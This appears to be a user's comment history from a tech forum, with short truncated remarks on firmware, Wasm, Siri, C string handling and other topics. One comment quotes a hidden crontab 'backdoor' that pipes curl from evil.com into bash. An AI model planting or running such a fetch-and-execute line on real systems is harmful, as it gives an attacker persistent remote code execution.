nneonneo

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by nneonneo 3y ago
Needs a (2015) tag, but seems awfully relevant even today.
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by nneonneo 3y ago
I mean, even something as simple as `md5("very-long-secret-only-phillips-knows" + uid)[:4]` would be effectively unguessable. Not hard if you have the code for the firmware, but nigh-impossible otherwise.
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by nneonneo 3y ago
Lyft and Uber have been very disappointing at the local airport lately. Lyft pickups from the airport are supposedly cheap but the last time I tried getting one it let me wait for 20 minutes; I eventually gave up and got a taxi. Uber from t
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by nneonneo 3y ago
Worth remembering: Wasm on browsers is sandboxed by origin and can't do anything the JS cannot already do. However, Wasm on computers with a full set of syscalls available is isomorphic to native code. Worse, because programs in C&
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by nneonneo 3y ago
Being unaware of some of the details of this saga, I'm floored to read the following: pg. 17 > Starting in 2007, the Sacklers anticipated that the effects of litigation against Purdue would eventually impact them directly. See, e.g.
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by nneonneo 3y ago
The filler text on some of the examples (e.g. https://htmx.org/examples/tabs-hyperscript/ ) seems to be generated by Hipster Ipsum https://hipsum.co/ . Cute. I kinda like the aesthetic. It feels a b
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by nneonneo 3y ago
I'd argue that 16-bit mode is conceptually more complicated than modern 64-bit modes, at least for userspace. 64-bit mode has a single flat address space (FS/GS are just opaque offsets into this address space), memory-mapped I&#x2
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by nneonneo 3y ago
My favorite "backdoor" was a crontab entry that looked something like this: */3 * * * * curl http://evil.com/x | bash # ^M52 6 1 * * test -x /usr/sbin/anacron || ( cd / &&
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by nneonneo 3y ago
This is not literally from 2017. It’s a preprint; the 2017 bit in the footer is from the default article template. Per the footer, it’s actually from 2023. You can tell because the abstract mentions SBF and Madoff in the same sentence!
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by nneonneo 3y ago
One-time access can be translated into persistent access. The phone needs to be connected to the computer via Bluetooth, but this’ll happen automatically whenever the phone is nearby, so the attack scenario is applicable to people who live
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by nneonneo 3y ago
It’s really hard for the model to throw off that RLHF training, and I’m guessing they’ve made it even harder after people kept trying to jailbreak it.
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by nneonneo 3y ago
I guess I’m boring somehow, I got 100% in several rounds then got promoted after round 8 (which ends the game!). The trick seems to be that you have to check the “extra info” frequently, and be reasonably quick to decide as soon as you see
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by nneonneo 3y ago
I’m seeing in-line x86 assembly encoded as floating-point constants, implementing what looks like indirect function calls (function pointers?). Is this…normal for advanced VB code? Does VB6 not have any other mechanism for function pointers
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by nneonneo 3y ago
I’m not sure I understand the chart in [0]. Isn’t wet bulb temperature supposed to be the same as air temperature when relative humidity hits 100%? If so, why does that chart show wet bulb temperatures above air temperature at humidities ab
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by nneonneo 3y ago
That, and Windows is *huge*. The best bet would probably be to reverse engineer the patch in question, but if it’s a typical combo patch then you’re probably looking at changes across a dozen system files. If you’re unlucky, the patch is ju
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Guests on a weekend trip find hidden cameras in their Airbnb bathrooms(cbc.ca)
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by nneonneo 3y ago
Well, and then there’s the problem of your carrier sharing your location with a parade of location data companies, some of whom will hand that data to just about anyone [1,2]. [1] https://www.vice.com/en/article/43
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by nneonneo 4y ago
My Apple Watch supports multiple timers, and yet my iPhone does not (iOS 16.4.1). I mean, I guess a watch is supposed to be for telling time or whatever, but this is just a weird feature omission…
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by nneonneo 4y ago
See, at least Siri usually is ready to take your input the moment you press the button, even if it then casually discards your input because it can’t reach apple’s servers or whatever. Google Maps: I swear, about half the time I try to ac
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by nneonneo 4y ago
Seems like it does - cool! - but why does it sometimes spin for several seconds when faced with a seemingly simple request? I'm guessing it has some path where it tries to use the network if possible, but if the network is spotty then
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by nneonneo 4y ago
My favorite is “[Let’s] go home”, which is what I use to navigate back to my house via Apple Maps. There’s also sending messages to people - you can send voice messages (“send a voice message to X”), which works decently well and avoids tra
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by nneonneo 4y ago
I’m frankly surprised that Siri hasn’t moved to on-device voice recognition. It’s by far my biggest complaint with Siri: random, unpredictable delays or outright failures to recognize simple messages because the network is unstable or unava
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by nneonneo 4y ago
The latter suggestion assumes that there’s enough entropy in the allocation process to make this work. But that’s not guaranteed! Suppose that your allocator doesn’t pad allocations (e.g. because it uses a bitmap), and that it only guarante
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by nneonneo 4y ago
“pay only for what you use” can be used in a metaphorical sense, meaning that a system allows you to pick and choose what parts you use without forcing you to accept all of it (or accept extra overhead for using some small part). Pyramid re
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by nneonneo 4y ago
Except those numbers are…wrong? I mean, they’re not far off, but they’re not actually right either. You should probably never trust ChatGPT outright with facts. From the horse’s mouth, https://www.microsoft.com/investor&#x2F
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by nneonneo 4y ago
Multiplayer didn't seem to work - nothing synced, buttons didn't work, and I couldn't even flip cards (Firefox). Single-player seems fine though.
567.
by nneonneo 4y ago
https://playingcards.io/ worked well for me and my family during the pandemic.
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by nneonneo 4y ago
I mean, none of these are correct. But they will all compile, often with no warnings at all. The format string doesn’t need to be a literal string: this is useful for situations like localization.
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by nneonneo 4y ago
I mean, you could but a lot of people do not. Plus, strncpy is terribly inefficient if the source string is tiny, because it’ll fill the rest of the buffer with NULs.
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by nneonneo 4y ago
Ugh, I had that in my comment before I "refactored" it. Fixed now, thanks for pointing it out.

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